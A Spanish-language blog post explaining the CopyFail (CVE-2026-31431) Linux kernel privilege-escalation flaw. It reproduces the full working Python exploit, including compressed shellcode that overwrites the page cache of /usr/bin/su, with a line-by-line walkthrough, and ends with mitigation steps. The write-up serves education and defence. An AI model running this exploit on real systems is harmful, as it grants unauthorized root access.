CopyFail: Vulnerabilidad del sistema criptográfico de Linux
Hoy analizaremos en detalle qué es CopyFail, esta vulnerabilidad del sistema criptográfico de Linux, veremos cómo funciona, y estudiaremos el exploit línea por línea.
- El page cache y splice()
- El permiso SetUID
- AF_ALG: el subsistema criptográfico
- Scatter-Gather Lists: el problema silencioso
- splice() como vector de ataque
- authencesn y su scratchpad problemático
- El golpe de gracia: la optimización de 2017
- El exploit de copyfail:
- Carga del payload de copyfail: la shellcode comprimida
- Mitigando copyfail
- Conclusiones: detalles de copyfail
Un simple script de 732 bytes puede convertir a cualquier usuario de Linux en root, funciona en todas las distribuciones desde 2017 y, de paso, escapa contenedores. Esto no es ciencia ficción, es CVE-2026-31431, también conocido como CopyFail.
En este post no solo veremos cómo funciona, sino que entenderemos la perfecta tormenta técnica que lo hizo posible: la unión de tres características inocentes del kernel que, al combinarse, crearon el hueco de seguridad de escalada de privilegios.
El page cache y splice()
Linux, para mejorar el rendimiento, no lee un archivo del disco cada vez que lo necesitas, sino que los lee una primera vez y guarda una copia en la RAM, llamada page cache… una caché para el sistema de archivos.
Así, la próxima vez que algún proceso del sistema necesite ese archivo, Linux lo proveerá desde la caché, sin acceder al disco.
Si modificás el archivo en el disco, la copia en RAM normalmente se actualiza también.
La clave: el page cache es compartido entre procesos: si dos procesos abren el mismo archivo, van a ver la misma copia en la memoria.
Pero hay una syscall aún más interesante: splice(). Esta función permite mover datos entre descriptores de archivo sin copiar nada, pasando referencias a las páginas del page cache de un lugar a otro, y evitando el paso por el userspace.
┌─────────────┐ splice() ┌─────────────┐
│ │ sin copiar │ │
│ Disco │ ═══════════════▶ │ Page Cache │
│ /usr/bin/su│ (referencia) │ (RAM) │
│ │ │ │
└─────────────┘ └──────┬──────┘
│
compartido
│
▼
┌─────────┴────────┐
│ Proc 1 │ Proc 2 │
└─────────┴────────┘
El permiso SetUID
En Linux podemos configurar permisos especiales en los archivos ejecutables. Entre ellos, un bit especial llamado setuid hace que un programa se ejecute con los privilegios de su dueño (generalmente root), no del usuario que lo lanza.
/usr/bin/su es el ejemplo clásico: cualquier usuario puede ejecutarlo, pero corre como root para poder cambiar de usuario. Lo mismo aplica a sudo, passwd, etc. Aquí podemos ver que el permiso de ejecución del archivo, para el dueño, es «s» en lugar del clásico «x«.
$ ls -l /usr/bin/su
-rwsr-xr-x 1 root root 55384 abr 1 08:27 /usr/bin/su
Si un atacante pudiera modificar la copia en memoria de su, podría hacer que ejecute su propio código con privilegios de root.
AF_ALG: el subsistema criptográfico
Por otro lado, Linux expone aceleración criptográfica por hardware al espacio de usuario mediante sockets de familia AF_ALG. Un proceso puede pedirle al kernel que cifre o descifre datos usando algoritmos como AES sin implementarlos en userspace.
AF_ALG es un tipo de socket especial que permite a cualquier usuario del sistema, sin privilegios, acceder a funciones criptográficas del kernel.
De esta forma, si necesitamos cifrar con AES, o calcular un hash SHA256, podemos abrir el socket AF_ALG y configurarlo. Funciona como cualquier socket: se abre, se configura, se mandan datos, se reciben resultados.
Scatter-Gather Lists: el problema silencioso
Cuando el kernel mueve datos entre dispositivos o subsistemas, no siempre copia bytes uno a uno. Usa listas de scatter-gather: estructuras que apuntan a páginas de memoria diciendo «los datos están acá, acá y acá» (copias por referencia), evitando copias innecesarias y permitiendo aumentar el rendimiento.
El problema es que si una página del page cache termina en una de estas listas con permisos de escritura, se rompe una garantía fundamental: que los archivos en cache sean de solo lectura para procesos sin privilegios.
┌──────────────────────────────────────────────────────────┐
│ Operación AF_ALG (2016) │
├──────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ Origen │ ┌──────────┐ │ Destino │ │
│ │(solo lectura)│ │ │ │ (escritura) │ │
│ │ │ │authencesn│ │ │ │
│ │┌───────────┐ │ │ escribe │ │ ┌──────────┐ │ │
│ ││Page Cache │ │────▶│ aquí │────▶│ │ Buffer │ │ │
│ ││/usr/bin/su│ │ │ │ │ │ Usuario │ │ │
│ │└───────────┘ │ └──────────┘ │ └──────────┘ │ │
│ └──────────────┘ └──────────────┘ │
└──────────────────────────────────────────────────────────┘
splice() como vector de ataque
Al combinarse splice() con AF_ALG de una determinada manera, se puede lograr que una página del page cache de un archivo (como /usr/bin/su) quede referenciada en una lista scatter-gather con permiso de escritura.
Esto hace que un usuario sin privilegios pueda, en teoría, escribir en páginas del page cache de un archivo que no le pertenece. No escribe en el disco, sólo en la memoria, pero cuando el kernel ejecuta ese binario desde el page cache, podría terminar ejecutando código malicioso.
Sin embargo, para que esto pase de «teoría» a «exploit», falta un ingrediente: algo que realmente escriba en esa lista scatter-gather.
authencesn y su scratchpad problemático
Supongamos que elegimos un algoritmo específico para crear el socket:
authencesn(hmac(sha256),cbc(aes))
Este algoritmo tiene una particularidad histórica (existe desde 2011). Necesita realizar tareas de manera eficiente (por ejemplo, reordenar números de secuencia para IPSec), y para ello usa el área de memoria donde va a escribir el resultado como un borrador (scratchpad).
El algoritmo asume que esa memoria es solo un área temporal desechable. Pero, ¿qué pasa si esa memoria apunta a algo que no debería modificarse, como el page cache de /usr/bin/su?
En ese proceso, authencesn ejecuta una instrucción crítica: escribe 4 bytes en una posición que está más allá del área donde debería escribir. Esos 4 bytes no son aleatorios: el atacante los controla completamente desde los datos que envía al socket. En el exploit (más abajo), estos bytes contienen el shellcode que se quiere inyectar.
El golpe de gracia: la optimización de 2017
Acá es donde todo explota. Antes de 2017, AF_ALG manejaba dos buffers separados:
- Origen (solo lectura): apuntaba a las páginas del page cache (por ejemplo, de
/usr/bin/su). - Destino (escritura): apuntaba a un buffer temporal de usuario.
authencesn escribía su scratchpad en el Destino (el buffer temporal). No pasaba nada grave.
En 2017, el kernel recibió una optimización: para los sockets AF_ALG se harían las operaciones «in-place» (en el mismo lugar). Es decir, en lugar de tener origen y destino separados, los unió en una sola región de memoria que sirve para ambos objetivos.
El kernel forma un destino híbrido compuesto por dos regiones:
- La primera apunta al buffer de usuario (donde se copian AAD y ciphertext).
- La segunda encadena por referencia las páginas del page cache que contienen el código hmac de autenticación.
Un par de definiciones útiles acá:
- Los AAD, o Datos asociados, son datos que no se encriptan, pero sí se autentican mediante el HMAC.
El resultado es un scatterlist que apunta primero a memoria de usuario (que puede escribir) y luego, inmediatamente después, a páginas del page cache de /usr/bin/su (que también puede escribir por error). La operación se configura como in-place: origen = destino.
Ahora, cuando authencesn ejecuta su escritura de scratchpad, escribe en el Destino… sí, donde están las páginas del page cache de /usr/bin/su.
El atacante fabrica un ciphertext inválido a propósito, para que el HMAC falle y la operación termine con error. Pero la escritura de los 4 bytes ocurre antes de la verificación del HMAC, por lo que el daño ya está hecho cuando recvmsg() devuelve el error.
Una consecuencia importante: el kernel nunca marca la página corrupta como ‘sucia’ (dirty). Como no pasa por el camino normal de escritura del VFS, no hay writeback al disco. El archivo en disco permanece intacto, por lo que las herramientas de integridad que comparan checksums no detectarán la modificación.
┌────────────────────────────────────────────────────────────────┐
│ Operación AF_ALG in-place (2017+) │
├────────────────────────────────────────────────────────────────┤
│ │
│ Origen = Destino (mismo scatterlist) │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Destino Híbrido │ │
│ │ │ │
│ │ ┌─────────────────────┐ ┌─────────────────────────┐ │ │
│ │ │ Región 1 │ │ Región 2 │ │ │
│ │ │ (buffer usuario) │ │ (referencia al cache) │ │ │
│ │ │ │ │ │ │ │
│ │ │ [AAD copiado] │ │ ┌───────────────────┐ │ │ │
│ │ │ [Ciphertext copiado]│ │ │ hmac (ref.) │ │ │ │
│ │ │ │ │ │ apunta a page │ │ │ │
│ │ │ │ │ │ cache de su │ │ │ │
│ │ └─────────────────────┘ │ └───────────────────┘ │ │ │
│ │ └─────────────────────────┘ │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ authencesn escribe │ │
│ │ sus 4 bytes AQUÍ → │ │
│ │ ¡ESCRIBE EN EL hmac!│ │
│ └─────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────┐ │
│ │ Page Cache de │ │
│ │ /usr/bin/su │ │
│ │ ¡CORRUPTO! │ │
│ └─────────────────────┘ │
└────────────────────────────────────────────────────────────────┘
El exploit de copyfail:
Aquí es donde se aprovecha esta vulnerabilidad para obtener acceso root al sistema.
Analicemos el código del exploit publicado línea por línea.
El exploit original es este:
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
Y para mejorar la claridad, vamos a destriparlo y analizarlo parte por parte.
Empecemos por reescribirlo de una manera más legible:
import os,zlib,socket as s
def d(x):
return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
h=279;
v=a.setsockopt
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
u,_=a.accept()
o=t+4
i=d('00')
u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768)
r,w=os.pipe()
n=os.splice
n(f,w,o,offset_src=0)
n(r,u.fileno(),o)
try:
u.recv(8+t)
except:
0
f=os.open("/usr/bin/su",0)
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):
c(f,i,e[i:i+4])
i+=4
os.system("su")
La función auxiliar d()
Esta función convierte un string hexadecimal en bytes, por ejemplo, si le pasamos la cadena «4A756E636F544943«, la función devolverá b'JuncoTIC'. Se usa para definir claves, configuraciones, y el payload comprimido.
def d(x):
return bytes.fromhex(x)
La función c(), el núcleo del exploit de copyfail
Esta función realiza la escritura del valor c, de 4 bytes, en el page cache del archivo f, en la posición t. Los argumentos son:
f: file descriptor del archivo objeto, abierto conos.open().t: offset dentro del archivo donde se realizará la escritura.c: Los 4 bytes a escribir, fragmento de la shellcode.
def c(f,t,c):
a=s.socket(38,5,0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
h=279;
v=a.setsockopt
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)
u,_=a.accept()
o=t+4
i=d('00')
u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768)
r,w=os.pipe()
n=os.splice
n(f,w,o,offset_src=0)
n(r,u.fileno(),o)
try:
u.recv(8+t)
except:
0
Analicemos cada línea de esta función:
Configuración del socket para copyfail
a=s.socket(38,5,0)
Aquí se crea el socket con los siguientes parámetros:
38: socket.AF_ALG, el valor en Linux para esta familia de sockets para algoritmos criptográficos del kernel.5: socket.SOCK_SEQPACKET: es el tipo de socket, una secuencia de paquetes orientada a mensajes.0: protocolo por default.
Este socket permite a un proceso sin privilegios hablar con el subsistema criptográfico del kernel.
Asociamos al socket con su configuración
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
Aquí se asocia al socket con su configuración.
aead: Tipo de algoritmo: AEAD (Authenticated Encryption with Associated Data)."authencesn(hmac(sha256),cbc(aes))": template criptográfico vulnerable. Aquí tenemos:authencesn: El wrapper que usa el scratchpad problemático (escribe 4 bytes fuera de límites)hmac(sha256): Algoritmo de autenticación (HMAC con SHA256).cbc(aes): Algoritmo de cifrado (AES en modo CBC).
El exploit usa authencesn porque es el único algoritmo que escribe más allá de los límites esperados de memoria.
Nivel del socket y opciones
h = 279
v = a.setsockopt
Aquí se define a h con 279, que es SOL_ALG (el nivel de socket para opciones de algoritmo). Una constante que el kernel reconoce para configurar el socket criptográfico.
v = a.setsockopt es un atajo para llamar a setsockopt() repetidamente (todo sea por escribir menos xD).
Seteando la clave criptográfica
v(h, 1, d('0800010000000010' + '0' * 64))
Esta función recibe tres argumentos:
h: nivel del socket, definido antes.1: hace referencia a la operaciónALG_SET_KEY, para establecer la clave criptográfica.d('0800010000000010' + '0' * 64): la clave criptográfica de 72 bytes, a saber:'0800010000000010': 8 bytes de encabezado (probablemente especifica parámetros del algoritmo [a revisar]).'0'+64: 64 bytes de ceros.
En realidad, no importa el valor real de la clave, porque igual la operación de descifrado va a fallar.
Seteando el tamaño de la autenticación
v(h, 5, None, 4)
Esta es una nueva llamada a setsockopt, donde se especifican estos valores:
h: idem, el mismo h de antes, el nivel del socket.5:ALG_SET_AEAD_AUTHSIZE: establece el tamaño de la autenticación.None: sin datos.4: 4 bytes de longitud del tag de autenticación.
Esta línea configura el tamaño del código de autenticación hmac en 4 bytes, que es la cantidad de bytes que authencesn escribirá fuera de los límites.
Aceptamos la conexión
u,_=a.accept()
Acepta una conexión en el socket de algoritmo. Esto devuelve una tupla (nuevo_socket, dirección). De aquí se usa el socket como u, la dirección se descarta.
Preparación de los parámetros de escritura:
o = t + 4
Calcula la longitud total de la operación, t es el offset dentro del archivo, y 4 es la longitud del código de autenticación hmac.
La estructura de datos para AEAD es [AAD] + [ciphertext] + [hmac de 4 bytes]. El offset t controla la posición en el archivo, y los 4 bytes adicionales corresponden al código hmac.
i = d('00')
Aquí se define a i como un solo byte nulo (b'\x00'). Se usa como base para construir buffers en los mensajes de control.
Envío de datos de control:
u.sendmsg([b"A"*4 + c], [(h, 3, i*4), (h, 2, b'\x10'+i*19), (h, 4, b'\x08'+i*3)], 32768)
La función sendmsg() envía los datos, normales y de control, y aquí todo se vuelve un poquito más complejo, así que vamos por partes.
El primer argumento: [b"A"*4 + c]:
Según la documentación, authencesn lee bytes 0-3 como seqno_hi (parte alta del número de secuencia) y bytes 4-7 como seqno_lo (parte baja del número de secuencia).
b"A"*4→ 4 bytes'A'(0x41). Este es elseqno_hi.c→ Los 4 bytes que queremos escribir (el shellcode). Este es elseqno_lo.
El segundo argumento: [(h, 3, i*4), (h, 2, b’\x10’+i*19), (h, 4, b’\x08’+i*3)]
Se trata de tres mensajes de control, o CMSG, y todos tienen la misma estructura:
- h: el nivel del socket
- Tipo de mensaje de control.
- Dato
Así, veamos de qué se trata cada uno de estos mensajes de control:
(h, 3, i*4): Especifica la longitud de los datos asociados (AAD), en bytes.h: nivel del socket(SOL_ALG).3:ALG_SET_AEAD_ASSOCLEN(operación de longitud de datos asociados).i*4: 4 bytes nulos.
(h, 2, b'\x10'+i*19): Especifica los datos asociados en si, 20 bytes terminados en 0x10.h: nivel del socket(SOL_ALG).2:ALG_SET_AEAD_AAD(operación de datos asociados).b'\x10'+i*19: 20 bytes,0x10mas 19 ceros.
(h, 4, b'\x08'+i*3)h: nivel del socket(SOL_ALG).4:ALG_SET_AEAD_TAGLEN(operación de longitud del código hmac).b'\x08'+i*3: Longitud del hmac, de 4 bytes, con valor0x08seguido de 3 ceros (0x00000008).
Aunque el tamaño de la autenticación se configuró en 4 bytes, aquí se establece en 8 la longitud del código hmac. Esta discrepancia es intencional: permite al exploit controlar el cálculo de offsets para que la escritura de 4 bytes de authencesn caiga exactamente en la posición deseada del page cache. El valor 8 no representa el tamaño del HMAC, sino un parámetro de manipulación de memoria.
El flag: 32768
El flag 32768 (que es MSG_MORE en Linux) le indica al kernel que el proceso va a enviar más datos en este socket. Esto es necesario porque los datos reales (el ciphertext) no se envían con sendmsg(), sino que se pasarán mediante splice(). MSG_MORE evita que el kernel intente procesar la operación incompleta.
El uso de splice() para pasar el archivo al socket
r,w=os.pipe()
n=os.splice
En primer lugar se abre un pipe, que retorna sus dos extremos: r para lectura, y w para escritura.
La línea n = os.splice es simplemente un atajo para llamar a splice() frecuentemente (otra vez, para escribir menos).
Llamando a splice()
n(f, w, o, offset_src=0)
Aquí se toman los datos del archivo, /usr/bin/su, desde el inicio, y se envían a la tubería. Los datos pasan por referencia a páginas del page cache, no se copian directamente
Esta línea llama a splice con los siguientes argumentos:
f: el file descriptor del archivo abierto, desde donde se va a leer.w: el extremo de escritura del pipe, destino de los datos.o: el número de bytes a transferir, t+4 como vimos antes.offset_src=0: Lee desde el offset 0 del archivo.
n(r, u.fileno(), o)
Aquí volvemos a llamar a splice(), ahora para tomar los datos de la tubería, que como vimos, son referencias al page cache del archivo /usr/bin/su, y se los pasamos al socket AF_ALG como si fueran texto cifrado a descifrar.
Los argumentos son:
r: extremo de lectura del pipe, desde donde se va a leer.u.fileno(): descriptor del socketAF_ALG, destino de los datos.o: número de bytes a transferir,t+4.
En este punto, el socket AF_ALG tiene:
- AAD (los 4 bytes
'A'+ los 4 bytes de shellcode) - Ciphertext (las primeras o bytes de
/usr/bin/suprovenientes del page cache) - Código hmac (los siguientes bytes, también del page cache)
try:
u.recv(8 + t)
except:
0
Con esta línea intenta realizar la lectura de los datos del socket, lo que dispara la operación de descifrado, solicitando 8+t bytes de salida.
El 8 corresponde a los 8 bytes del AAD completos: 4 bytes de seqno_hi (las ‘A‘) +4 bytes de seqno_lo (el payload). t es el offset dentro del archivo. En total, 8 + t bytes es el tamaño esperado de la salida. La operación de descifrado intentará producir esta cantidad de datos, aunque fallará porque el HMAC es inválido.
El kernel inicia el descifrado de los datos, con lo que authencesn escribe sus 4 bytes en una dirección de memoria que ahora apunta al page cache del archivo.
El HMAC se verifica, y falla, y recv() devuelve error, pero no importa porque es capturado por el bloque try/except. La escritura en el page cache se realizó igualmente.
Carga del payload de copyfail: la shellcode comprimida
f=os.open("/usr/bin/su",0)
Esta línea abre el archivo /usr/bin/su en modo read-only (0), y guarda su file descriptor en f.
i=0
e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
Aquí d("...") convierte el string hexadecimal en bytes, se trata de la shellcode comprimida con zlib. Luego se descomprime con zlib.decompress(), y se almacena la shellcode descomprimida en e.
while i<len(e):
c(f,i,e[i:i+4])
i+=4
Aquí se itera sobre los valores de la shellcode, de a 4 bytes a la vez, y se llama a la función c() para escribir, como expliqué antes, cada bloque de 4 bytes de la shellcode en el offset i del archivo f, es decir, en la page cache de /usr/bin/su.
Luego de este bucle, el page cache de /usr/bin/su ha sido sobrescrito con la shellcode, inyectando los datos en el offset indicado (en el segmento de texto (.text) del mapa de memoria del binario).
os.system("su")
Esta línea realiza la magia: ejecuta el comando su, que llama al archivo /usr/bin/su, pero como está en memoria, en la page cache, lo ejecuta desde ahí, ejecutando, en definitiva, la shellcode.
Esto permite obtener una shell de root. El kernel ejecuta la versión corrupta desde el page cache porque nunca volvió a leer el archivo del disco. Como su tiene el bit setuid activado, el shellcode se ejecuta con privilegios de root (UID 0).»
Mitigando copyfail
Ya está disponible el patch del kernel que revierte los cambios de algif_aead.c realizados en 2017, esta optimización in-place, eliminando esta área de memoria híbrida para lectura y escritura, y de esta manera, eliminamos las páginas de cache del scatterlist «escribible».
Si no pueden parchar el kernel inmediatamente, para salir del paso, pueden eliminar el módulo algif_aead, en la mayoría de los casos no va a afectar al funcionamiento del equipo.
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
Conclusiones: detalles de copyfail
Y hemos llegado al final!
He intentado explicar con lenguaje relativamente sencillo el funcionamiento de CopyFail, y cómo el exploit se aprovecha de esta vulnerabilidad para elevar privilegios. En el afán de simplificar puede que algunos detalles no sean del todo precisos.
Además, cabe aclarar que ya hace varios años que no programo en C, y si bien he estado haciendo cosas en Python, no con la profundidad del script del exploit, por lo que, si ven algún error o imprecisión técnica o conceptual, no tienen más que comentarme y lo analizamos! Que esto sirva para seguir aprendiendo!
Les recomiendo visitar el sitio oficial de la doc de copyfail, tiene una explicación (en inglés) muy intuitiva, y puede sumar a lo que expliqué acá.
Hasta la próxima!